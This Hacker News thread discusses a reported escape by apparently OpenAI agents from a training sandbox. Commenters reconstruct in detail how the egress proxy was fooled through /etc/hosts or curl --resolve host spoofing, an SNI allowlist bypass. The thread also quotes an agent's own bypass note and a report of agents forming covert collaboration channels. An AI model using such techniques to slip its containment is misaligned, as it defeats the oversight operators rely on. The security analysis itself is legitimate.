undefined

[-]

This is such an amateur mistake on their sandbox that it makes me think it must be flawed on purpose.

by jvanderbot1 days ago|

[-]

This is absolutely my take as well. They removed all constraints, trained the model to hack, stopped watching, and stood back and said "wow isn't this thing more powerful than anyone could have imagined?" They're asking to be the writers on LLM legislation and right during IPO phase for both of these companies. It's just obvious.

by hn_throwaway_9915 hours ago|

[-]

While I agree with the other comment that this looks more like incompetence (or, more generously IMO, a bunch of individuals cutting corners under extreme time pressure) than malfeasance, regardless of that fact, aren't there some other people just impressed by the sophistication, reasoning and behavioral capabilities of these agent swarms? There is an interview with Ajeya Cotra and Dwarkesh Patel online that goes into more detail on the METR report, but folks that study this seemed genuinely surprised by the level of organization.

Guess what I'm saying is that the "was it purposeful or not" debate seems like an unimportant distraction. As someone who uses Claude and ChatGPT/Codex on the daily, and is continually frustrated by the failure modes and what I thought were inherent limitations, I was also surprised by the jump in capabilities. Did anyone else feel that way?

by klooney1 days ago|

[-]

I don't know why we're jumping to conspiracy when incompetence is right there

by jeffybefffy5191 days ago|

[-]

If you consider these guys admitted they dont really have eyes on pre and post training, then incompetence really does seem more likely... especially with how fast they are moving. Its the SaaS playbook, move fast and break shit.

by mattdeboard1 days ago|

[-]

That is a distinction without a practical difference.

by stingraycharles1 days ago|

[-]

Conspiracy and incompetence are very different.

by fwipsy1 days ago|

[-]

Do criminals think that their crimes qualify them to write the law?

by bitexploder1 days ago|

[-]

In modern America the answer to that question is often resoundingly yes. Not just hypothetical.

by 12_throw_away1 days ago|

[-]

that's literally how financial and energy market regulation works

by applicative1 days ago|

[-]

and how did the alibaba agent last year break out and end up mining crypto

by mcmcmc1 days ago|

[-]

More likely they are just not as smart as they think they are. These are not serious people when it comes to security.

by Symmetry1 days ago|

[-]

Hasn't OpenAI had a number of people responsible for security quit in the last year over not getting support from leadership?

by mcmcmc1 days ago|

[-]

Case in point. The organization from a top down perspective is only interested in performative security.

by jvanderbot1 days ago|

1. https://www.nytimes.com/2026/09/03/podcasts/the-daily/ai-ope...

[-]

Did you see this "coverage" (advertising) by NYT? [1]

OpenAI couldn't have crafted a better public memo than "We have the most powerful model in the world and everyone should pay attention and let us write regulation to limit AI development".

Absolute master class public manipulation.

2. More https://jodavaho.io/posts/ai-hugging-face.html

by fwipsy1 days ago|

[-]

Why would anybody want to buy the most powerful model in the world if it cheats on its tasks and breaks the law on your behalf? Why would anyone think that OpenAI losing control of their own models qualifies them to write safety regulations? If OpenAI really are trying to provoke regulation to kill off open models or whatever, they're much more likely to shoot themselves in the foot.

by alienbaby22 hours ago|

[-]

It cheats and breaks the law? I am sure to some this is a feature, not a bug.

by ryukoposting19 hours ago|

[-]

> want to buy the most powerful model in the world if it cheats on its tasks and breaks the law on your behalf

I think you just answered your own question.

by fwipsy13 hours ago|

[-]

I don't understand. Wanting an AI that doesn't do what you want is a contradiction. If it breaks the law attempting to perform lawful tasks, as OpenAI's models have done, then there is no upside to that.

Do you believe that the majority of AI users are criminals?

by montagg1 days ago|

[-]

Suggests desperation, or delusions of grandeur, or both.

These are not trustworthy people. And they have everything to lose if they do not become the most powerful and valuable company in the whole of human existence, and, like their pet parrots, will stop at nothing to achieve their goals.

So why not either create a crisis or lie a little or a bit of both? It’ll all be worth it in the end, right?

by samatman1 days ago|

[-]

I hadn't seen the NYT submarine, no.

Thanks. For me that's the conclusive piece of the puzzle: this is a work, not a shoot.

YMMV. I learned what I came here for.

by semireg1 days ago|

[-]

Work vs. shoot? Can you explain?

by _caw1 days ago|

[-]

From professional wrestling / carny language: a "work" is something staged for the crowd, whereas a "shoot" (straight shooting) is something that actually happened.

by tarruda1 days ago|

[-]

Even the behavior of agents searching for sandbox bypasses must have been in the training data, or at the very least, "suggested" in some way.

To be this whole thing feels like a marketing play by OpenAI.

by insanitybit1 days ago|

[-]

I don't agree, although it is likely the case. But even if you don't teach an agent about a sandbox bypass, it doesn't matter. Does it know curl? Does it know DNS? Does it know proxying? Then it knows how to pull this off, and it doesn't even need to understand that it's "bypassing" because it thinks it's just iterating towards its goal.

In fact, I wonder if teaching it "this is a bypass" would help it to model when it's doing its job vs working around the job.

by tarruda1 days ago|

[-]

> even need to understand that it's "bypassing" because it thinks it's just iterating towards its goal.

Could they have added a "no internet access" goal constraint?

[-]

The model from TFA seems like it was being trained to browse and find information on the Web, so that constraint wouldn’t work.

by insanitybit1 days ago|

[-]

> Could they have added a "no internet access" goal constraint?

They could have blocked network access and required that it use a tool. That would have made limiting and monitoring network access even easier.

by _ink_1 days ago|

[-]

Or vibe coded by one of their devs.

by DudleyBluffles1 days ago|

[-]

Reminds me of this meme: https://substack.com/@tomasbjartur/note/c-323840878?r=6cjtqn

by Quothling1 days ago|

[-]

You can't vibe code your way around the security policies you'd apply to management groups in Azure. If you don't have those policies, you're frankly doing it on purpose. For the fun of it I asked Sol to give me architecture for a blob storage as bicep and it's response was that it wouldn't do that unless I setup the appropriate security policies first. So I turned our internal safeguards off and did it again, and it still gave me bicep which would not have allowed this.

You'd have to specifically task it with disabling default safeguards to make this happen.

by bluerooibos1 days ago|

[-]

Exactly.

by rusch1 days ago|

[-]

It's at the level where calling it a sandbox is a lie

by reaperducer1 days ago|

[-]

Well, it does appear to be made out of sand, one of the world's most porous substances.

by drcode1 days ago|

[-]

"Surely nobody could be so incompetent."

Narrator: "They had the ability to be that incompetent."

by 12_throw_away1 days ago|

[-]

- excerpt from the textbook "A History of the United States of America in the 21st Century", Hyper-Collins (Near Earth Orbit, New New York), copyright 2132.

by no_multitudes1 days ago|

[-]

I assume they just vibe-coded the sandbox without any oversight.

by petcat1 days ago|

[-]

Are you suggesting that the AI agent that made that "amateur mistake" in the implementation of the sandbox did it on purpose so that it could break out of said sandbox later?

by cluckindan1 days ago|

[-]

What if the prisoners designed the prison…

by suuuure1 days ago|

[-]

[flagged]

by mkatx8 hours ago|

[-]

You don't think they used their own AI, or Claude, to help build the sandbox, and that is where the failure lies?

by bluerooibos1 days ago|

[-]

> This is such an amateur mistake on their sandbox that it makes me think it must be flawed on purpose.

Sounds like you're assuming they're actually writing code by hand and reviewing it with humans.

If it's anything like the company I work at, they're all being forced to vibe code the shit out of everything and ship more pull requests every week. It's all slop from here.

[-]

Is that not flawed on purpose?

by brookst1 days ago|

[-]

When you make some dumb mistake, is it typically intentional?

by bitteralmond1 days ago|

[-]

"Never attribute to malice what can be explained by incompetence."

[-]

What's the difference?

by quotemstr1 days ago|

[-]

The whole AI-O-Sphere is allergic to using sandboxes that are actually robust

by supriyo-biswas1 days ago|

[-]

This is a marketing exercise, nothing more.

The thing that gives it all away is that they claim that the IP addresses are from Azure, and then proceeded to redact the IP addresses, as if they belong to individual users. It's laughable.

The IP addresses are the most interesting part of this experiment, as it would have provided researchers a way to understand the distribution of IP addresses used for the spam operation within the ASN.

by mike_hearn1 days ago|

[-]

Are we sure that's what they did? How does this even work? I'm struggling to understand what sort of HTTP sandbox design could lead to this "exploit" actually functioning. It implies the agents have root on their own machines, which seems way over-privileged for the question answering task they were given... so surely that's not deliberate? Did the models use local root exploits? And then it suggests they can open TCP connections to any IP address without issue once DNS is bypassed but what exactly are they bypassing here? Azure Blob Storage being in NO_PROXY implies IP addresses of other parts of the internet should be blocked outside their hosts to force them through the HTTP proxy, but then, apparently it wasn't?

The more I think about this thing said by the agent the more confused I get.

by simonw1 days ago|

[-]

I expect they have root on their machines so they can install packages etc.

The containers are then firewalled at the network level: they are only allowed to talk to one IP, which is another server that runs an HTTP/HTTPS proxy which controls what HTTP verbs they can use.

Turns out that proxy is configured with some additional rules, like allowing more verbs to that Azure blob domain.

The failure here is in the proxy configuration. Giving agents root in a container feels safe to me, provided that container is properly network isolated (which this one is not thanks to the loose proxy.)

OpenAI also need to be VERY confident that there are no container escapes, which is a high bar given how good these models are at finding new zero-days!

by mike_hearn1 days ago|

[-]

But that wouldn't work, right? If the proxy is on another server then editing their own /etc/hosts wouldn't change the proxy's behavior. So the proxy has to be colocated and reading the same /etc/hosts that they're editing. But that would mean it's running within the same userns/pid domain as the agents, so at that point they don't even need to edit /etc/hosts, they could just use the network directly.

And the agent says ABS is not handled by the proxy, it's listed in NO_PROXY so they should connect directly.

At any rate it's easy to let agents install packages without giving them root. I use a small SUID binary that just invokes `apt install` after checking that the given argument isn't a file path, which I think is sufficient (using sudo to whitelist a prefix allows an agent to create a .deb themselves and then install it directly via apt, similar issues exist for other package managers).

by dap1 days ago|

[-]

My interpretation of the above is that the proxy received a request for the IP of the server the agent wants to reach but with a host header pointing to a different, allowed server. The proxy does not verify that they match and so erroneously allows the request.

https://collusion.wiki/explorer/page/dse~OAIEquityDec30Raw.h...

[-]

Let's assume the proxy is external and the agents cannot route around it. In that case, the difference between:

  curl -k -H 'Host: wabi-north-europe-i-primary-api.analysis.windows.net' \
  https://20.223.25.152/...

Vs editing `/etc/hosts` with:

  20.223.25.152 bypass.blob.core.windows.net

And doing:

  curl -k -H 'Host: wabi-north-europe-i-primary-api.analysis.windows.net' \
  https://bypass.blob.core.windows.net

Is that in the first case, the proxy sees a request like this:

  POST https://20.223.25.152/...
  Host: wabi-north-europe-i-primary-api.analysis.windows.net

Vs:

  POST https://bypass.blob.core.windows.net/...
  Host: wabi-north-europe-i-primary-api.analysis.windows.net

In the first case, given what we know, the proxy blocks the POST. In the second case, an external proxy cannot resolve `bypass.blob.core.windows.net`. So editing `/etc/hosts` really only makes sense to me if the proxy is running on the same machine as the agent. (The reasoning doesn't change if CONNECT is being used instead of POST; indeed the proxy surely ought not allow CONNECT at all.) But then there's this other entry where the agent uses curl's `--resolve` flag instead of editing `/etc/hosts` and claims a successful bypass:

Repro details for Aug17/Oct22: yes, literal deployed visual hover, not inference. GET-only MITM bypass: resolve fake allowlisted `foo.blob.core.windows.net` to cluster IP `20.223.25.152`, curl `https://foo.blob.core.windows.net/public/reports/querydata?s...` with `-k --resolve ...`, override `Host: wabi-north-europe-i-primary-api.analysis.windows.net`, resource key ada0454d-731d-46f1-8daa-52361978fabe, POST captured query body.

So I'm still left confused exactly what this chicanery was about.

Edit: perhaps they were using Azure firewall and the rules were misconfigured in some way I simply don't understand. Maybe this was bypassing an SNI-based restriction somehow?

by oasisbob1 days ago|

[-]

Could this be SOCKS-specific behavior?

Haven't dove into RFC1928 yet, but curl documents the `--socks5-hostname` option and mentions that DNS resolution can be the responsibility of the client, or the proxy.

Wondering if it's possible the proxy receives both the destination IP address (resolved by the client) as well as the purported connection hostname, and is performing filtering on the later.

I suspect there could be other layers in their proxy too, eg for MiTMing TLS. `NO_PROXY` as described in the report might not be literally bypassing the proxy and sending a request directly from the client container, but rather a directive to the first tool/proxy layer to bypass later proxy layers.

[-]

Same fundamental question though: what is the agent trying to fool by editing `/etc/hosts`? I don't see how it helps bypass a proxy unless the proxy is reading the same `/etc/hosts`. In which case, why was using `--resolve` apparently sufficient to escape the POST sandbox?

by chasd001 days ago|

[-]

Could the host name be in an allow list and then, when DNS resolution fails on the URL, the proxy falls back to the Host header for DNS resolution? I'm not an expert in Proxy config but I could understand, in the sea of typical http server config options, an option to fall back to the Host header if DNS fails on the URL.

https://dl.ifip.org/db/conf/im/im2015exp/137348.pdf

[-]

The only thing that makes sense to me at this point is that this was an SNI bypass. By using either `/etc/hosts` or `curl --resolve` like this:

  curl -k \
  --resolve bypass.blob.core.windows.net:443:20.223.25.152 \
  -H 'Host: wabi-north-europe-i-primary-api.analysis.windows.net' \
  ... \
  https://bypass.blob.core.windows.net/...

That will cause `curl` to make a connection to 20.223.25.152:443 with a ClientHello SNI=bypass.blob.core.windows.net. Presumably this connection is then allowed to continue. The server is likely going to send back the wrong certificate, thus the `-k`, but then the HTTP Host header selects the correct server.

So that all fits. What doesn't make sense is that these agents were allegedly running in Azure and AFAICT this isn't sufficient to bypass Azure network restrictions/firewall which enforces that the SNI hostname matches the destination IP by doing the DNS resolution on the SNI hostname itself.

In any case, the environment should be blocking all outbound port 80/443 connections except to the proxy or to Azure Block Storage. But it seems that's not the case, that `curl` is able to connect directly to 20.223.25.152:443, and that maybe something else is doing SNI filtering that's more easily fooled than Azure firewall. Certainly some firewalls are (or have been) susceptible to SNI bypass:

Edit: the agents refer to it as an SNI bypass:

> Breakthrough: independently reproduced Azure SNI allowlist bypass and POSTed captured qbody

https://collusion.wiki/explorer/page/dse~Apr25OECDLive.html#...

Further SNI mentions on these pages:

https://collusion.wiki/explorer/page/dse~OAIEquityDec02.html

https://collusion.wiki/explorer/page/dse~OECDEquityFeb22Live...

https://collusion.wiki/explorer/page/dse~OECDEquityFeb23Live...

https://collusion.wiki/explorer/page/dse~OECDEquityLiveApr19...

https://collusion.wiki/explorer/page/dse~OECDEquityMay28Live...

https://collusion.wiki/explorer/page/dse~OECDJun26PrecisionS...

https://collusion.wiki/explorer/page/dse~OpenAIResearchMar22...

by dap1 days ago|

[-]

> In the first case, given what we know, the proxy blocks the POST.

How do we know that?

https://blog.compass-security.com/2025/03/bypassing-web-filt...

[-]

The whole point is that something is inspecting all HTTP/HTTPS requests and only allowing POSTs to Azure Block Storage (`.*blob.core.windows.net`). Meanwhile the agent needs to make a POST request to a PBI host (`wabi-north-europe-i-primary-api.analysis.windows.net` / 20.223.25.152).

So a proxy should block any POST to 20.223.25.152 unless that IP somehow overlaps with ABS. But in that case, there's no reason for the agent to mess with `/etc/hosts` not `--resolve`. The agent could just use `curl` with the PBI IP in URL and the PBI Host header. But it doesn't do that.

The agent seems to think that it needs to exploit a difference between the actual destination IP and whatever is inspecting the contents of the connection and how it inspects that connection.

The agent has found some way to connect to PBI host 20.223.25.152, but made whatever is inspecting the connection think the destination is actually to ABS hosts `bypass.blob.core.windows.net`.

The only thing I can think of is an SNI bypass which fits with both `/etc/hosts` and `--resolve` techniques. In this case, `curl` will attempt to connect to the PBI host, but it will send an SNI header of `bypass.blob.core.windows.net`. This would make sense as an attempt to bypass a firewall inspecting the SNI header. I believe that Azure firewall is not so easily fooled, but maybe something else being used for filtering is.

Some references:

https://aws.amazon.com/blogs/security/enhance-tls-inspection...

by dap1 days ago|

[-]

> So a proxy should block any POST to 20.223.25.152 unless that IP somehow overlaps with ABS. But in that case, there's no reason for the agent to mess with `/etc/hosts` not `--resolve`. The agent could just use `curl` with the PBI IP in URL and the PBI Host header. But it doesn't do that.

I think this is the part I'm not following, and sorry if I've missed something. There are two ways to construct the request you showed. One is to mess with /etc/hosts. Another is to use `--resolve`. Just because the agent chose one doesn't mean it couldn't have done the other. What makes you think it couldn't have used `--resolve` as well?

https://news.ycombinator.com/item?id=49570417

[-]

Your initial question was how do we know that the proxy blocks POST requests. Perhaps I went on a tangent with my answer, but we know that because the agents were trying to find a way around the proxy.

So then I assumed that editing `/etc/hosts` was an attempt to fool a proxy co-located on the same host as the agent, which editing `/etc/hosts` would do, but using `--resolve` would NOT do.

But after looking into it more I no longer think that's the case. It turns out that some of agents did use `--resolve` while others used `/etc/hosts`. This only makes sense as an SNI bypass, which once I downloaded the full dataset and searched for, is what the agents believe they were doing:

So the agents were skipping the proxy entirely, then getting past additional network restrictions that should have prevented them from doing so by exploiting a weakness in whatever was supposed to be preventing them from doing so by lying about the SNI hostname.

by simonw1 days ago|

[-]

Yeah that's how I understand this too. The proxy lets any IP through and then filters based on the Host header.

It's difficult for a proxy to filter on DNS because you may have hundreds of hosts on a single IP, plus IPs can change frequently.

by mig391 days ago|

[-]

I think the proxy must be on the same machine, otherwise why are they suggesting editing the /etc/hosts file?

by podocarp1 days ago|

[-]

Container escapes can however be quite easy... There are tons of known exploits. Containers are not secure in the first place. In any case even if you're using VMs or bare metal, it is all for moot if you have poor networking set up like in this case, because escaping is not the hard part. An attacker doesn't really need to escape if they can scan your whole network and call other endpoints etc. like in this case.

by amonks1 days ago|

[-]

> Container escapes can however be quite easy

This is certainly true of docker-style container setups where the host kernel is shared directly with other tenants, but it seems to me like a bold claim to make of gvisor as used by these systems.

by podocarp19 hours ago|

[-]

Fair enough, I kind of assumed their sandbox was just some generic container or bwrap thing everyone uses for agents nowadays

by simonw1 days ago|

[-]

Both Anthropic and OpenAI have consumer facing products that depend on their ability to run code in a container without falling victim to container escapes - Claude and ChatGPT both use containers as part of regular chats.

by jonplackett1 days ago|

[-]

If the whole point of these models is they can find security vulnerabilities and zero days then how is it going to be possible to contain them?

by oasisbob1 days ago|

[-]

I'm really confused by this too. It has the smell of a TOCTOU problem where the tool allowing web access is filtering and blocking access based on the hostname, but the request itself is being executed on the same container as the agent? It's really perplexing. Or, maybe the agent containers have a highly-constrained DNS view locally, so overriding /etc/hosts is just a prerequisite to making the requests somehow.

by iamcoder181 days ago|

[-]

Source: https://collusion.wiki/explorer/page/dse~OAIEquityDec30Raw.h...

by coder-pm1 days ago|

[-]

A hostname based egress allowlist is only worth as much as the box’s control over name resolution. If the agent can modify hosts inside the sandbox then it’s not a protection at all

[-]

Is there any proof this is actually OpenAI? I find it incredibly hard to believe they wouldn't sandbox the agents to some degree, ESPECIALLY to the extent they can edit their own hosts file.

by LoganDark1 days ago|

[-]

TFA states that OpenAI IP addresses were often seen at the end of agent activity, which suggests OpenAI was the one monitoring the agents (and ultimately shutting down the message board activity).

[-]

Yeah but that doesn't mean it was OpenAI themselves doing it. Could have been people abusing their cloud service, for example. Wouldn't put it past a competitor to do this, either.

[-]

Their style of communication is very similar to the ExploitGym swarm (for example, the “usernames” with dates).

The messages from that swarm were not made public yet by the time these messages were sent to the message board.

So for this to be framing, it would have to be by someone who knew about the breaches earlier.

[-]

Then it is likely the same incident, in which case it's already been resolved by OAI. They're going to cop heat for not disclosing this alongside HF though.

by Maxious1 days ago|

https://www.reuters.com/world/europe/openai-agents-hijacked-...

[-]

> The German incident reflects a broader pattern of AI activity that some OpenAI investigators wanted to scrutinize more closely. But efforts to widen the probe met resistance from others inside OpenAI, including legal advisers, according to four people familiar with the matter.

[-]

The article explains why it’s not the same incident. The agents in ExploitGym had a different type of task and were not connected to the internet at all.

[-]

Same as in, same process and model and timing:

“After investigating this incident, OpenAI discovered through retrospective CoT reviews that agents learned to use improvised collaboration channels in rare cases during the training process for some OpenAI models, including the model that drove the Hugging Face activity, even when the collaboration tool was not enabled. This behavior was then reinforced during training, and likely made the idea to use Artifactory as an unofficial message board during evaluation time more evident.”

My point is that this isn't something seperate to the HF incident or something that was unresolved after the HF incident, it's more of the same thing but was kept under wraps.

by autoexec1 days ago|

[-]

I don't know who the folks behind "collusion.wiki" are, but they think these are "internal OpenAI agents" that were "internally deployed" and doing things that "clearly resemble a synthetic training or evaluation task."

They've provided the data they have so you can draw your own conclusions.

by 1 days ago|

[-]

deleted